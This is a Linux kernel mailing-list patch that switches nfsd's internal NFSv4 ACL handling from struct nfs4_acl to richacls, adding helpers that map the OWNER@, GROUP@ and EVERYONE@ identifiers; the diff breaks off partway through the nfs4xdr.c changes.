internal acl representation Message-Id: <1444604337-17651-35-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604587 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher When converting from NFSv4 ACLs to POSIX ACLs, nfsd so far was using struct nfs4_acl as its internal representation. This representation is a subset of richacls, so get rid of struct nfs4_acl. Richacls even have a more compact in-memory representation, so a few more ACL entries can easily be supported. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/Kconfig | 6 + fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++++++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 24 ++-- fs/nfsd/nfs4acl.c | 368 ++++++++++++++++++++++-------------------------- fs/nfsd/nfs4proc.c | 15 +- fs/nfsd/nfs4xdr.c | 64 +++------ fs/nfsd/xdr4.h | 6 +- include/linux/nfs4.h | 23 --- include/linux/nfs4acl.h | 7 + 11 files changed, 274 insertions(+), 285 deletions(-) create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 include/linux/nfs4acl.h diff --git a/fs/Kconfig b/fs/Kconfig index bff2879..68bc3e1 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -265,6 +265,12 @@ config NFS_COMMON depends on NFSD || NFS_FS || LOCKD default y +config NFS_RICHACL + bool + depends on NFSD_V4 || NFS_V4 + select FS_RICHACL + default y + source "net/sunrpc/Kconfig" source "fs/ceph/Kconfig" source "fs/cifs/Kconfig" diff --git a/fs/nfs_common/Makefile b/fs/nfs_common/Makefile index d153ca3..e055139 100644 --- a/fs/nfs_common/Makefile +++ b/fs/nfs_common/Makefile @@ -4,5 +4,6 @@ obj-$(CONFIG_NFS_ACL_SUPPORT) += nfs_acl.o nfs_acl-objs := nfsacl.o +obj-$(CONFIG_NFS_RICHACL) += nfs4acl.o obj-$(CONFIG_GRACE_PERIOD) += grace.o diff --git a/fs/nfs_common/nfs4acl.c b/fs/nfs_common/nfs4acl.c new file mode 100644 index 0000000..02df064 --- /dev/null +++ b/fs/nfs_common/nfs4acl.c @@ -0,0 +1,44 @@ +#include +#include +#include + +static struct special_id { + char *who; + int len; +} special_who_map[] = { + [RICHACE_OWNER_SPECIAL_ID] = { + .who = "OWNER@", + .len = sizeof("OWNER@") - 1 }, + [RICHACE_GROUP_SPECIAL_ID] = { + .who = "GROUP@", + .len = sizeof("GROUP@") - 1 }, + [RICHACE_EVERYONE_SPECIAL_ID] = { + .who = "EVERYONE@", + .len = sizeof("EVERYONE@") - 1 } +}; + +int nfs4acl_who_to_special_id(const char *who, u32 len) +{ + int n; + + for (n = 0; n < ARRAY_SIZE(special_who_map); n++) { + if (len == special_who_map[n].len && + !memcmp(who, special_who_map[n].who, len)) + return n; + } + return -1; +} +EXPORT_SYMBOL(nfs4acl_who_to_special_id); + +bool nfs4acl_special_id_to_who(unsigned int special_who, + const char **who, unsigned int *len) +{ + struct special_id *special = &special_who_map[special_who]; + + if (special_who > ARRAY_SIZE(special_who_map) || !special->len) + return false; + *who = special->who; + *len = special->len; + return true; +} +EXPORT_SYMBOL(nfs4acl_special_id_to_who); diff --git a/fs/nfsd/Kconfig b/fs/nfsd/Kconfig index a0b77fc..811379a 100644 --- a/fs/nfsd/Kconfig +++ b/fs/nfsd/Kconfig @@ -70,6 +70,7 @@ config NFSD_V4 depends on NFSD && PROC_FS select NFSD_V3 select FS_POSIX_ACL + select FS_RICHACL select SUNRPC_GSS select CRYPTO select GRACE_PERIOD diff --git a/fs/nfsd/acl.h b/fs/nfsd/acl.h index 4cd7c69..1c5deb5 100644 --- a/fs/nfsd/acl.h +++ b/fs/nfsd/acl.h @@ -35,25 +35,27 @@ #ifndef LINUX_NFS4_ACL_H #define LINUX_NFS4_ACL_H -struct nfs4_acl; +struct richacl; +struct richace; struct svc_fh; struct svc_rqst; /* * Maximum ACL we'll accept from a client; chosen (somewhat * arbitrarily) so that kmalloc'ing the ACL shouldn't require a - * high-order allocation. This allows 204 ACEs on x86_64: + * high-order allocation. This allows 339 ACEs on x86_64: */ -#define NFS4_ACL_MAX ((PAGE_SIZE - sizeof(struct nfs4_acl)) \ - / sizeof(struct nfs4_ace)) +#define NFSD4_ACL_MAX ((PAGE_SIZE - sizeof(struct richacl)) \ + / sizeof(struct richace)) -int nfs4_acl_bytes(int entries); -int nfs4_acl_get_whotype(char *, u32); -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who); +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len); +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace); -int nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl); -__be32 nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl); +int nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl); +__be32 nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + struct richacl *acl); #endif /* LINUX_NFS4_ACL_H */ diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 6adabd6..6d3bb72 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -37,46 +37,50 @@ #include #include #include +#include +#include +#include #include "nfsfh.h" #include "nfsd.h" +#include "idmap.h" #include "acl.h" #include "vfs.h" -#define NFS4_ACL_TYPE_DEFAULT 0x01 -#define NFS4_ACL_DIR 0x02 -#define NFS4_ACL_OWNER 0x04 +#define FLAG_DEFAULT_ACL 0x01 +#define FLAG_DIRECTORY 0x02 +#define FLAG_OWNER 0x04 /* mode bit translations: */ -#define NFS4_READ_MODE (NFS4_ACE_READ_DATA) -#define NFS4_WRITE_MODE (NFS4_ACE_WRITE_DATA | NFS4_ACE_APPEND_DATA) -#define NFS4_EXECUTE_MODE NFS4_ACE_EXECUTE -#define NFS4_ANYONE_MODE (NFS4_ACE_READ_ATTRIBUTES | NFS4_ACE_READ_ACL | NFS4_ACE_SYNCHRONIZE) -#define NFS4_OWNER_MODE (NFS4_ACE_WRITE_ATTRIBUTES | NFS4_ACE_WRITE_ACL) +#define RICHACE_READ_MODE (RICHACE_READ_DATA) +#define RICHACE_WRITE_MODE (RICHACE_WRITE_DATA | RICHACE_APPEND_DATA) +#define RICHACE_EXECUTE_MODE RICHACE_EXECUTE +#define RICHACE_ANYONE_MODE (RICHACE_READ_ATTRIBUTES | RICHACE_READ_ACL | RICHACE_SYNCHRONIZE) +#define RICHACE_OWNER_MODE (RICHACE_WRITE_ATTRIBUTES | RICHACE_WRITE_ACL) /* flags used to simulate posix default ACLs */ -#define NFS4_INHERITANCE_FLAGS (NFS4_ACE_FILE_INHERIT_ACE \ - | NFS4_ACE_DIRECTORY_INHERIT_ACE) - -#define NFS4_SUPPORTED_FLAGS (NFS4_INHERITANCE_FLAGS \ - | NFS4_ACE_INHERIT_ONLY_ACE \ - | NFS4_ACE_IDENTIFIER_GROUP) +#define RICHACE_SUPPORTED_FLAGS ( \ + RICHACE_FILE_INHERIT_ACE | \ + RICHACE_DIRECTORY_INHERIT_ACE | \ + RICHACE_INHERIT_ONLY_ACE | \ + RICHACE_IDENTIFIER_GROUP | \ + RICHACE_SPECIAL_WHO) static u32 mask_from_posix(unsigned short perm, unsigned int flags) { - int mask = NFS4_ANYONE_MODE; + int mask = RICHACE_ANYONE_MODE; - if (flags & NFS4_ACL_OWNER) - mask |= NFS4_OWNER_MODE; + if (flags & FLAG_OWNER) + mask |= RICHACE_OWNER_MODE; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -86,13 +90,13 @@ deny_mask_from_posix(unsigned short perm, u32 flags) u32 mask = 0; if (perm & ACL_READ) - mask |= NFS4_READ_MODE; + mask |= RICHACE_READ_MODE; if (perm & ACL_WRITE) - mask |= NFS4_WRITE_MODE; - if ((perm & ACL_WRITE) && (flags & NFS4_ACL_DIR)) - mask |= NFS4_ACE_DELETE_CHILD; + mask |= RICHACE_WRITE_MODE; + if ((perm & ACL_WRITE) && (flags & FLAG_DIRECTORY)) + mask |= RICHACE_DELETE_CHILD; if (perm & ACL_EXECUTE) - mask |= NFS4_EXECUTE_MODE; + mask |= RICHACE_EXECUTE_MODE; return mask; } @@ -108,32 +112,33 @@ deny_mask_from_posix(unsigned short perm, u32 flags) static void low_mode_from_nfs4(u32 perm, unsigned short *mode, unsigned int flags) { - u32 write_mode = NFS4_WRITE_MODE; + u32 write_mode = RICHACE_WRITE_MODE; - if (flags & NFS4_ACL_DIR) - write_mode |= NFS4_ACE_DELETE_CHILD; + if (flags & FLAG_DIRECTORY) + write_mode |= RICHACE_DELETE_CHILD; *mode = 0; - if ((perm & NFS4_READ_MODE) == NFS4_READ_MODE) + if ((perm & RICHACE_READ_MODE) == RICHACE_READ_MODE) *mode |= ACL_READ; if ((perm & write_mode) == write_mode) *mode |= ACL_WRITE; - if ((perm & NFS4_EXECUTE_MODE) == NFS4_EXECUTE_MODE) + if ((perm & RICHACE_EXECUTE_MODE) == RICHACE_EXECUTE_MODE) *mode |= ACL_EXECUTE; } -static short ace2type(struct nfs4_ace *); -static void _posix_to_nfsv4_one(struct posix_acl *, struct nfs4_acl *, +static short ace2type(struct richace *); +static void _posix_to_richacl_one(struct posix_acl *, struct richacl_alloc *, unsigned int); int -nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, - struct nfs4_acl **acl) +nfsd4_get_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct richacl **acl) { struct inode *inode = d_inode(dentry); int error = 0; struct posix_acl *pacl = NULL, *dpacl = NULL; + struct richacl_alloc alloc; unsigned int flags = 0; - int size = 0; + int count; pacl = get_acl(inode, ACL_TYPE_ACCESS); if (!pacl) @@ -143,10 +148,10 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, return PTR_ERR(pacl); /* allocate for worst case: one (deny, allow) pair each: */ - size += 2 * pacl->a_count; + count = 2 * pacl->a_count; if (S_ISDIR(inode->i_mode)) { - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; dpacl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(dpacl)) { error = PTR_ERR(dpacl); @@ -154,20 +159,20 @@ nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, } if (dpacl) - size += 2 * dpacl->a_count; + count += 2 * dpacl->a_count; } - *acl = kmalloc(nfs4_acl_bytes(size), GFP_KERNEL); - if (*acl == NULL) { + if (!richacl_prepare(&alloc, count)) { error = -ENOMEM; goto out; } - (*acl)->naces = 0; - _posix_to_nfsv4_one(pacl, *acl, flags & ~NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(pacl, &alloc, flags); if (dpacl) - _posix_to_nfsv4_one(dpacl, *acl, flags | NFS4_ACL_TYPE_DEFAULT); + _posix_to_richacl_one(dpacl, &alloc, flags | FLAG_DEFAULT_ACL); + + *acl = alloc.acl; out: posix_acl_release(dpacl); @@ -230,21 +235,22 @@ summarize_posix_acl(struct posix_acl *acl, struct posix_acl_summary *pas) /* We assume the acl has been verified with posix_acl_valid. */ static void -_posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, - unsigned int flags) +_posix_to_richacl_one(struct posix_acl *pacl, struct richacl_alloc *alloc, + unsigned int flags) { struct posix_acl_entry *pa, *group_owner_entry; - struct nfs4_ace *ace; + struct richace *ace; struct posix_acl_summary pas; unsigned short deny; - int eflag = ((flags & NFS4_ACL_TYPE_DEFAULT) ? - NFS4_INHERITANCE_FLAGS | NFS4_ACE_INHERIT_ONLY_ACE : 0); + int e_flags = ((flags & FLAG_DEFAULT_ACL) ? + (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE | + RICHACE_INHERIT_ONLY_ACE) : 0); BUG_ON(pacl->a_count < 3); summarize_posix_acl(pacl, &pas); pa = pacl->a_entries; - ace = acl->aces + acl->naces; /* We could deny everything not granted by the owner: */ deny = ~pas.owner; @@ -254,42 +260,35 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, */ deny &= pas.users | pas.group | pas.groups | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags | NFS4_ACL_OWNER); - ace->whotype = NFS4_ACL_WHO_OWNER; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags | FLAG_OWNER); + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; pa++; while (pa->e_tag == ACL_USER) { deny = ~(pa->e_perm & pas.mask); deny &= pas.groups | pas.group | pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.uid = pa->e_uid; } - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_uid = pa->e_uid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.uid = pa->e_uid; pa++; } @@ -300,23 +299,19 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, group_owner_entry = pa; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pas.group, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pas.group, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; pa++; while (pa->e_tag == ACL_GROUP) { - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = mask_from_posix(pa->e_perm & pas.mask, - flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = mask_from_posix(pa->e_perm & pas.mask, flags); + ace->e_id.gid = pa->e_gid; pa++; } @@ -326,12 +321,11 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~pas.group & pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_GROUP; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; } pa++; @@ -339,24 +333,22 @@ _posix_to_nfsv4_one(struct posix_acl *pacl, struct nfs4_acl *acl, deny = ~(pa->e_perm & pas.mask); deny &= pas.other; if (deny) { - ace->type = NFS4_ACE_ACCESS_DENIED_ACE_TYPE; - ace->flag = eflag | NFS4_ACE_IDENTIFIER_GROUP; - ace->access_mask = deny_mask_from_posix(deny, flags); - ace->whotype = NFS4_ACL_WHO_NAMED; - ace->who_gid = pa->e_gid; - ace++; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_IDENTIFIER_GROUP; + ace->e_mask = deny_mask_from_posix(deny, flags); + ace->e_id.gid = pa->e_gid; } pa++; } if (pa->e_tag == ACL_MASK) pa++; - ace->type = NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE; - ace->flag = eflag; - ace->access_mask = mask_from_posix(pa->e_perm, flags); - ace->whotype = NFS4_ACL_WHO_EVERYONE; - acl->naces++; + ace = richacl_append_entry(alloc); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = e_flags | RICHACE_SPECIAL_WHO; + ace->e_mask = mask_from_posix(pa->e_perm, flags); + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; } static bool @@ -500,7 +492,7 @@ posix_state_to_acl(struct posix_acl_state *state, unsigned int flags) * and effective cases: when there are no inheritable ACEs, * calls ->set_acl with a NULL ACL structure. */ - if (state->empty && (flags & NFS4_ACL_TYPE_DEFAULT)) + if (state->empty && (flags & FLAG_DEFAULT_ACL)) return NULL; /* @@ -619,24 +611,24 @@ static void allow_bits_array(struct posix_ace_state_array *a, u32 mask) } static void process_one_v4_ace(struct posix_acl_state *state, - struct nfs4_ace *ace) + struct richace *ace) { - u32 mask = ace->access_mask; + u32 mask = ace->e_mask; int i; state->empty = 0; switch (ace2type(ace)) { case ACL_USER_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); } else { deny_bits(&state->owner, mask); } break; case ACL_USER: - i = find_uid(state, ace->who_uid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_uid(state, ace->e_id.uid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->users->aces[i].perms, mask); } else { deny_bits(&state->users->aces[i].perms, mask); @@ -645,7 +637,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP_OBJ: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->group, mask); } else { deny_bits(&state->group, mask); @@ -657,8 +649,8 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_GROUP: - i = find_gid(state, ace->who_gid); - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + i = find_gid(state, ace->e_id.gid); + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->groups->aces[i].perms, mask); } else { deny_bits(&state->groups->aces[i].perms, mask); @@ -671,7 +663,7 @@ static void process_one_v4_ace(struct posix_acl_state *state, } break; case ACL_OTHER: - if (ace->type == NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE) { + if (ace->e_type == RICHACE_ACCESS_ALLOWED_ACE_TYPE) { allow_bits(&state->owner, mask); allow_bits(&state->group, mask); allow_bits(&state->other, mask); @@ -689,32 +681,33 @@ static void process_one_v4_ace(struct posix_acl_state *state, } } -static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, +static int nfs4_richacl_to_posix(struct richacl *acl, struct posix_acl **pacl, struct posix_acl **dpacl, unsigned int flags) { struct posix_acl_state effective_acl_state, default_acl_state; - struct nfs4_ace *ace; + struct richace *ace; int ret; - ret = init_state(&effective_acl_state, acl->naces); + ret = init_state(&effective_acl_state, acl->a_count); if (ret) return ret; - ret = init_state(&default_acl_state, acl->naces); + ret = init_state(&default_acl_state, acl->a_count); if (ret) goto out_estate; ret = -EINVAL; - for (ace = acl->aces; ace < acl->aces + acl->naces; ace++) { - if (ace->type != NFS4_ACE_ACCESS_ALLOWED_ACE_TYPE && - ace->type != NFS4_ACE_ACCESS_DENIED_ACE_TYPE) + richacl_for_each_entry(ace, acl) { + if (ace->e_type != RICHACE_ACCESS_ALLOWED_ACE_TYPE && + ace->e_type != RICHACE_ACCESS_DENIED_ACE_TYPE) goto out_dstate; - if (ace->flag & ~NFS4_SUPPORTED_FLAGS) + if (ace->e_flags & ~RICHACE_SUPPORTED_FLAGS) goto out_dstate; - if ((ace->flag & NFS4_INHERITANCE_FLAGS) == 0) { + if ((ace->e_flags & (RICHACE_FILE_INHERIT_ACE | + RICHACE_DIRECTORY_INHERIT_ACE)) == 0) { process_one_v4_ace(&effective_acl_state, ace); continue; } - if (!(flags & NFS4_ACL_DIR)) + if (!(flags & FLAG_DIRECTORY)) goto out_dstate; /* * Note that when only one of FILE_INHERIT or DIRECTORY_INHERIT @@ -723,7 +716,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, */ process_one_v4_ace(&default_acl_state, ace); - if (!(ace->flag & NFS4_ACE_INHERIT_ONLY_ACE)) + if (!(ace->e_flags & RICHACE_INHERIT_ONLY_ACE)) process_one_v4_ace(&effective_acl_state, ace); } *pacl = posix_state_to_acl(&effective_acl_state, flags); @@ -733,7 +726,7 @@ static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, goto out_dstate; } *dpacl = posix_state_to_acl(&default_acl_state, - flags | NFS4_ACL_TYPE_DEFAULT); + flags | FLAG_DEFAULT_ACL); if (IS_ERR(*dpacl)) { ret = PTR_ERR(*dpacl); *dpacl = NULL; @@ -752,8 +745,7 @@ out_estate: } __be32 -nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl) +nfsd4_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl) { __be32 error; int host_error; @@ -774,9 +766,9 @@ nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, return nfserr_attrnotsupp; if (S_ISDIR(inode->i_mode)) - flags = NFS4_ACL_DIR; + flags = FLAG_DIRECTORY; - host_error = nfs4_acl_nfsv4_to_posix(acl, &pacl, &dpacl, flags); + host_error = nfs4_richacl_to_posix(acl, &pacl, &dpacl, flags); if (host_error == -EINVAL) return nfserr_attrnotsupp; if (host_error < 0) @@ -803,82 +795,62 @@ out_nfserr: static short -ace2type(struct nfs4_ace *ace) +ace2type(struct richace *ace) { - switch (ace->whotype) { - case NFS4_ACL_WHO_NAMED: - return (ace->flag & NFS4_ACE_IDENTIFIER_GROUP ? - ACL_GROUP : ACL_USER); - case NFS4_ACL_WHO_OWNER: + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + switch (ace->e_id.special) { + case RICHACE_OWNER_SPECIAL_ID: return ACL_USER_OBJ; - case NFS4_ACL_WHO_GROUP: + case RICHACE_GROUP_SPECIAL_ID: return ACL_GROUP_OBJ; - case NFS4_ACL_WHO_EVERYONE: + case RICHACE_EVERYONE_SPECIAL_ID: return ACL_OTHER; + default: + BUG(); + } } - BUG(); - return -1; -} - -/* - * return the size of the struct nfs4_acl required to represent an acl - * with @entries entries. - */ -int nfs4_acl_bytes(int entries) -{ - return sizeof(struct nfs4_acl) + entries * sizeof(struct nfs4_ace); + return ace->e_flags & RICHACE_IDENTIFIER_GROUP ? ACL_GROUP : ACL_USER; } -static struct { - char *string; - int stringlen; - int type; -} s2t_map[] = { - { - .string = "OWNER@", - .stringlen = sizeof("OWNER@") - 1, - .type = NFS4_ACL_WHO_OWNER, - }, - { - .string = "GROUP@", - .stringlen = sizeof("GROUP@") - 1, - .type = NFS4_ACL_WHO_GROUP, - }, - { - .string = "EVERYONE@", - .stringlen = sizeof("EVERYONE@") - 1, - .type = NFS4_ACL_WHO_EVERYONE, - }, -}; - -int -nfs4_acl_get_whotype(char *p, u32 len) +__be32 nfsd4_decode_ace_who(struct richace *ace, struct svc_rqst *rqstp, + char *who, u32 len) { - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].stringlen == len && - 0 == memcmp(s2t_map[i].string, p, len)) - return s2t_map[i].type; + int special_id; + + special_id = nfs4acl_who_to_special_id(who, len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_flags &= ~RICHACE_IDENTIFIER_GROUP; + ace->e_id.special = special_id; + return nfs_ok; } - return NFS4_ACL_WHO_NAMED; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd_map_name_to_gid(rqstp, who, len, &ace->e_id.gid); + else + return nfsd_map_name_to_uid(rqstp, who, len, &ace->e_id.uid); } -__be32 nfs4_acl_write_who(struct xdr_stream *xdr, int who) +__be32 nfsd4_encode_ace_who(struct xdr_stream *xdr, struct svc_rqst *rqstp, + struct richace *ace) { - __be32 *p; - int i; - - for (i = 0; i < ARRAY_SIZE(s2t_map); i++) { - if (s2t_map[i].type != who) - continue; - p = xdr_reserve_space(xdr, s2t_map[i].stringlen + 4); + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + __be32 *p; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return nfserr_serverfault; + } + p = xdr_reserve_space(xdr, len + 4); if (!p) return nfserr_resource; - p = xdr_encode_opaque(p, s2t_map[i].string, - s2t_map[i].stringlen); + p = xdr_encode_opaque(p, who, len); return 0; } - WARN_ON_ONCE(1); - return nfserr_serverfault; + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfsd4_encode_group(xdr, rqstp, ace->e_id.gid); + else + return nfsd4_encode_user(xdr, rqstp, ace->e_id.uid); } diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 4ce6b97..2430235 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -159,12 +159,12 @@ is_create_with_attrs(struct nfsd4_open *open) * in the returned attr bitmap. */ static void -do_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl, u32 *bmval) +do_set_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, struct richacl *acl, + u32 *bmval) { __be32 status; - status = nfsd4_set_nfs4_acl(rqstp, fhp, acl); + status = nfsd4_set_acl(rqstp, fhp, acl); if (status) /* * We should probably fail the whole open at this point, @@ -299,7 +299,7 @@ do_open_lookup(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, stru goto out; if (is_create_with_attrs(open) && open->op_acl != NULL) - do_set_nfs4_acl(rqstp, *resfh, open->op_acl, open->op_bmval); + do_set_acl(rqstp, *resfh, open->op_acl, open->op_bmval); nfsd4_set_open_owner_reply_cache(cstate, open, *resfh); accmode = NFSD_MAY_NOP; @@ -672,8 +672,7 @@ nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, nfsd4_security_inode_setsecctx(&resfh, &create->cr_label, create->cr_bmval); if (create->cr_acl != NULL) - do_set_nfs4_acl(rqstp, &resfh, create->cr_acl, - create->cr_bmval); + do_set_acl(rqstp, &resfh, create->cr_acl, create->cr_bmval); fh_unlock(&cstate->current_fh); set_change_info(&create->cr_cinfo, &cstate->current_fh); @@ -938,8 +937,8 @@ nfsd4_setattr(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, goto out; if (setattr->sa_acl != NULL) - status = nfsd4_set_nfs4_acl(rqstp, &cstate->current_fh, - setattr->sa_acl); + status = nfsd4_set_acl(rqstp, &cstate->current_fh, + setattr->sa_acl); if (status) goto out; if (setattr->sa_label.len) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index b8db5a7..8603f40 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -303,7 +303,7 @@ nfsd4_decode_bitmap(struct nfsd4_compoundargs *argp, u32 *bmval) static __be32 